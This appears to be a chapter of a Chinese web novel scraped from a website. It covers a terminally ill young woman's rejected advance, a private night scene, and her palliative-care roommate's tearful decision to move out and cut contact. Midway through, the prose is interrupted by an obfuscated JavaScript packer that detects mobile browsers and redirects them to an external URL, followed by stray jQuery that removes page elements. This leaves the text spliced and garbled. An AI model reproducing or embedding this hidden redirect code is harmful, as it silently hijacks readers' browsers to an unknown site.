狭窄的录音室里，空气缓慢地流动，几近凝固。
明明空调开低温，体感却燥热得像夏天。
宋呓欢心跳如鼓，每下都撞着肋骨，颈部大动脉的每次跃动都打在迟燃的手背。
“你这是想睡我的样子？”迟燃将手缩回去，“真想睡我，至于慌成这样？”
宋呓欢气还没喘匀，腾不出空回答
“你根本不知道自己要什么。”
迟燃后退一些，也学着她的样子靠在墙上，偏头说：“在没想清楚自己要什么以前，不可以稀里糊涂地做决定。”
“…我要睡你！”
他退开的瞬间，宋呓欢忽然就得到氧气，尽管底气不足，但还是强撑着大声说。
“好，那就当你想睡我。”迟燃难得好脾气地顺着说，“那么，我不愿意。”
宋呓欢抿着嘴唇不说话。
是因为年龄差？还是因为认识的时间太短，或者是她说起话来没脸没皮，吓到他了？
她在等他解释。
“不是…你以为的那种不愿意。”迟燃说，“我的意思是，如果你稀里糊涂地要求，我就这么答应你，那么我们就再没有别的可能了。”
宋呓欢怔忡抬眼，直直地望向他。
迟燃微微偏头，努力地“看”向她，认真地说：“宋呓欢，我想跟你有别的可能。”
泛着灰调的眼睛，依稀可见她的倒影，也是灰色的。
可能性。
在宋呓欢的认知里，答应就是睡，不答应就是不睡，不会有什么延展引申的含义，更跟“可能性”三个字扯不上关系。
可迟燃说，我想跟你有别的可能。
这样简短的一句话，她来来回回默念无数次，怎么念都觉得陌生。
她实在对于“别的”二字缺乏想像。
“别的”是不用隔天吃香菇，“别的”是不用九点半睡着，“别的”是不用跟妈妈做唯一的朋友…
她眼里的“别的”，只有去做那些不让做的事，没有去做那些想要做的事。
她对自由缺乏想像，也就对可能性缺乏想像。可她必须如此，这样她才能永远知足，不知足是远比缺乏想像更可怕的事。
想象无数种可能性，是件宏大而又漫长的任务，不适合她。
她猛地抬手推向迟燃，他毫无防备地被推得趔趄，哗啦啦地撞到地上散落的椅子。
“你殴打残疾人！”他皱眉。
“我哪有那个美国时间跟你搞什么别的可能！！”
丢下这句话，宋呓欢逃跑似的蹿出去，硬底帆布鞋踏在遍地散落的杂物上，几声碎裂的脆响。
迟燃膝盖方才狠狠磕在桌腿上，痛得弓起背。
不知是痛的还是别的什么，他长长地叹息，尾音绵长，被四下的吸音棉吞噬，无声无息。
早春的夜没有书里描写的那么宜人，纱窗外无星无月无风，以最沉闷无趣的方式，将人憋闷出满身薄汗，连流汗都不痛快。
宋呓欢额角的汗珠倒是落得很痛快，顺着鬓角砸进枕头。
夜灯将影子投射到窗台，窗外树影静立，影子反倒无风摇曳，伴随着布料摩擦的声音。
窗外寂静，窗内是低低的喘息声，和着某种嗡嗡声，或是录音设备接触不良的电流声，难以辨认。
她将脸躲在被子下面，汗珠涌出来，落得越来越快。
春日的夜晚浸泡在无边无际的静谧中，任何一点声音都会被无限放大，她只好咬紧嘴唇。
陌生又莫名熟悉的感受不断堆叠，云朵似的拖着她不断攀升，靠近太阳，靠近再靠近…又猛地坠落。
氧气变得稀薄，她不得不大口呼吸。
她歪在床上，连根手指都不想动。就像走在漫长而又崎岖的道路上，攀上一座并不惹眼的山，登顶的瞬间，灾难便落下来。
直到心跳放缓，全部感官都平息下来的时候，宋呓欢才惊觉灾难的根源。
这样灭顶的感受，并非完整地属于她自己。
登至山顶的那一秒钟，一旦与任何具体的名字、鲜活的个体联系起来，便如灵魂打上烙印，宣告灾难伊始。
她的灾难，名为迟燃。
仿佛灾难的预演，她整夜噩梦，次日早上起床的每一步都像踩在棉花上。
宋呓欢揉着眼睛从卧室走出来，嗅到香甜，自前日沉积的坏心情变一扫而空。
这是她最大的优点，健忘。
她的消极情绪来得快，去得更快，通常只需要睡一觉，就又变回那个快乐比格。不知是她记忆力太差，还是癌症这样的大事压下来，将其他事都衬得渺小，才让她擅长忘记坏事。
总之，她看到那碗香蕉燕麦粥的时候，心情大好，全然将昨天的种种不忿丢在脑后。
“果你竟然下厨啦？？”宋呓欢感叹，“我一定在梦里没醒，来来来，你掐我一下。”
果果没伸手掐她，将燕麦香蕉粥推到她面前，“尝尝看，喝不下也别硬喝。”
这碗粥根本就是为她的身体量身定制，甜而不腻，很好入口，她毫无阻力地喝下半碗。
“你还有这厨艺呢，之前怎么没露一手。”宋呓欢心满意足地感叹，“嗯，你怎么没给自己盛一碗？”
“我待会喝。”果果说，“这个食谱简单，好喝就行。”
“哦对！我之前居家无聊翻到个小公园，风景特别好！”宋呓欢翻出微信给她看，“我们可以去划船爬山什么的！而且那个山我看过，叫它土坡都算抬举它，超级矮，咱俩这破体力绝对没问题！”
果果看着没有特别兴奋，也没说话。
宋呓欢手一挥：“我决定不在男人身上浪费时间，我要去看山看水亲近自然，玩点有意思的。等天气暖和点我们就去吧？你多给我多拍几张人生照片…”
“宋呓欢。”果果忽然连名带姓地叫她。
“这么喊我很吓人哎…”宋呓欢看清她的神色，后知后觉地不安，“出什么事了吗？你…好严肃。”
她这么一问，果果反倒不说话了。
宋呓欢撂下勺子，急促地问：“怎么了…你别吓我，你哪儿不舒服吗？”
“我…”刚一开口，果果眼眶便开始泛红，“小公园…我可能没法陪你去了。”
宋呓欢猛地哽住。
果果泛红的眼眶说明一切，她嘴唇颤抖，不听使唤，“…你是不是要搬出去。”
果果不说话。
那就是默认。
宋呓欢轻声说：“难怪你找人来修东西…你早就想搬了，你从那时候就在做准备。”
空气凝固，锅里温着粘稠的燕麦粥，拖泥带水地冒着泡，是寂静厨房里唯一声音。
她们面对面坐着，像照镜子那样，相对落泪着沉默。
你不能走。
四个字太过单薄，拉不住人，宋呓欢只好满脑子搜刮指控，能留住她的指控。
“我跑出来的时候，是你邀请我跟你一起住，互相照应的。”她说，“你不能就这么抛弃我。”
“我没有抛弃你，你以为我就那么想搬出去吗？我不想跟你开开心心地待在一起吗？”果果轻声反问，“是我不想吗?”
她和果果在病友群里相识，她签署姑息疗法同意书后，王女士恨不能将她绑着四肢押到医院，她只好从家里逃出来。果果比她更早些转入大城市的姑息科室，主动邀请她合租。
果果是她人生中第一个也是唯一一个朋友。
她与果果是与世俗背道而驰的反叛者，是被逼无奈捆在一处的末路狂花，是没空做梦又只剩做梦的人。
在宋呓欢的设想里，她们永不分离。
汹涌的哀恸几乎要将她淹没，但不能哭。
哭是分离的序曲，哭了就是认输就是接受事实。
她绝不接受。
宋呓欢咬着牙摇头：“我不管，你不能搬出去，是你骗我来的。”
“我骗你来的？”果果再好的脾气也忍不下去，她叹出口气，“宋欢欢你说的是人话？我房租交到十月份，就没打算再找你要，我把这破屋子能修能补的都弄好，我生怕你找不到下一个室友…有这么会赔钱的骗子？”
宋呓欢偏过头，硬生生忍住汹涌的眼泪，咬牙说：“你欺骗我的感情，你就是不能搬。”
“我疼得整夜整夜睡不着，我不吸氧的时候感觉头上套着个塑料袋，多说几话都憋得指尖泛紫，……你看我一眼！”
果果彻底惹恼，她抬手脱下家居服上衣，丢在地上。
宋呓欢没敢看过去，余光里瞥到干枯的肋骨，泛紫的斑块和泛红的抓痕，以及透明的芬太尼贴片。瞥到的瞬间，她眼泪就砸下来。
方才的指控不过是色厉内荏，她再说不出话，呜咽着捡起家居服，不敢看果果，手忙脚乱地试图给她穿上。
家居服皱成一团，她怎么也找不到领口，泪眼模糊看不清楚。
“…你穿…袖子…这是袖子…你穿上对不起我错了…你穿…”宋呓欢胡乱地说着，连个完整的句子都说不明白。
果果一动不动地站着，剧烈地呼吸。
宋呓欢怎么也找不到领口，只好用家居服裹住果果，裹完立马逃避似的移开视线。
“…对…不起，对不…”她低着头抽抽噎噎，话都说不利索。
果果注视她许久，才重新穿好衣服，抬手抱住她，将她的脸埋进柔软的家居服里，柔软的布料吸收泪水。
“好了好了。”等她崩溃完，渐渐平息，果果哄小孩似的柔声说，“我们把话说完，行吗？”
“嗯。”她脸埋在果果怀里，闷声说。
这是她们第一次拥抱，温暖又硌人。她们之前偶尔手拉手、有时挽着手臂，但从未做过拥抱这么肉麻的事。
离别让一切都变得难能可贵，包括肉麻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308687|181631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“欢欢，我后天就搬。”果果结束拥抱，抬手给她擦眼泪，捋顺她乱七八糟的刘海，“你记得咱们病友群的规矩吗？提前退群，不报哀信，后面我们就…”
宋呓欢震惊地抬眼看她，又飞快地移开视线：“我不记得。”
果果好脾气地笑笑，笑意荒凉，“你再装。我搬走之前会退群，也会盯着你删掉我的联系方式，你装也没用。”
“群规是群规，我们两个不一样。”宋呓欢死命拉住她的手，“万一你想我呢？万一你没胃口，想吃我做的饭呢？群里的人都是网友，可我们不一样！而且我从头到尾都不理解这个破规矩，为什么要提前退群，为什么不让家人在群里报丧？得到彼此的消息不好吗？”
“因为人的意志是非常神奇的东西，哪怕一丁点撑不下去的想法，都能摧毁一个人。”果果说。
“没有区别。”宋呓欢恶狠狠地说，“总归都是告别，这种方式只是将告别提前而已！！我不接受，你别想删！！我还要去看你，我要给你送..”
“不是。”果果摇摇她的手，“不是提前告别。”
宋呓欢坐回去，埋着头，泪水滴滴答答地流进燕麦粥里，砸出无数个小坑，盛着一汪泪水。
“终点是我的终点，是我一个人的课题。”果果用那种特有的温柔又有说服力的语气讲着，“我之前一直没跟你说过吧…刚确诊之后，我前男友其实找过我，他说他还爱我，他想陪我到最后。”
宋呓欢没明白她为什么忽然说这个，抬眸看着她，“…那你为什么没同意？你明明也很喜欢他。”
“也不用把我想的太伟大，我不是因为不想拖累他，我是为自己。”果果说，“在这点上，我想得非常透彻。癌症不像心脏病更不像衰老，我们生命的终点必定没有尊严与体面。”
“我现在都能感到我在嫉妒他，那么未来我看着从意志到身体都残破的自己，再看着他，嫉妒必然会变成恨。我不会记得爱，我只会想尽方法地折磨他，让他无限贴近我的痛苦。到时候，我将会被这种恨摧毁，我生命中最后一点爱与善良都会被消磨殆尽，那个美好的我会先于我死去。”
“…我不要这样。我宁愿在无尽的痛苦里，将饱含爱的回忆作为解药。”果果说，“我宁愿先失去，也不愿意被恨意逼疯。”
宋呓欢眼眶酸胀，快要睁不开，“你要跟我断联，是担心…会像恨他一样…恨我？那你就恨我好了，我…”
“我们是朋友啊。”果果歪着头，晶莹的泪珠缓缓地顺着她眼角滑落，“我不会恨你，你不一样，欢欢，我永远不会恨你。”
“那…那为什么？”宋呓欢问。
“欢欢，你勇敢热烈美好，我爱你胜过爱我的前男友。”果果望进她的眼睛，“所以，我不想将任何坏消息带给你，不想我的终点给你带来伤害。我希望我们的故事，永远未完待续。”
宋呓欢愣愣地看着她，看着她瘦削的脸，看着她温柔的神情。
“删掉吧。”果果说，“从今往后，关于我，每天都是好消息。”
“将好消息留给你这件事，也会是能给我带来幸福的解药。”
…
果果在这间合租房里住了一年，可行李只需要三个箱子就能装下，两个箱子是药物与器械，只有一个箱子关于果果。
搬家师傅轻轻松松地将她的三个箱子运出去，装进狭窄的面包车里。果果离开之前抱住她，笑着说她要回家，她很想家。
她不知道果果的家在哪里，只知道果果轻得吓人，她一只手就能抱起来。
宋呓欢以为自己是个健忘的人，消极情绪来得快，去得也快。遇到任何天塌下来的大事，只需要睡一觉就好了。
而事实上，她睡不着，她一直困在果果搬走的那一天里。果果搬走时，大约将她的睡眠一并打包带走。
她静静地坐在沙发上，看着搬家工人踩出的满地狼藉和没用完的纸箱，像个失去指令的机器人。她感受不到时间的流逝，偶尔会短暂闭眼歪倒，但称不上睡眠，更像是对果果搬家那天的重映。她一遍遍地听着果果的话，一遍遍地绝望睁开眼，再次看到满屋搬家后的狼藉。
意识朦胧间，她恍若捕捉到咚咚咚的闷响，宛如拥抱时果果心跳的鼓点。
睁开眼才发觉，是家门被大力敲响，频率恒定，不知敲了多久，还伴随着尖锐的音乐声。
她侧头看看，原来手机也在响，屏幕上是迟燃二字。
宋呓欢迟缓地接起来，那边简单两个字：“开门。”
她脑袋发懵，一时没说出话。
电话里与门口的敲门声越发急促，重叠起来。
迟燃说：“开门，快点，否则我会一直敲下去。”
“嗯…?”宋呓欢依然迟缓。
“我热爱敲门，特别热爱敲门。”他说，“敲门永存。”
“给我开门，好不好？”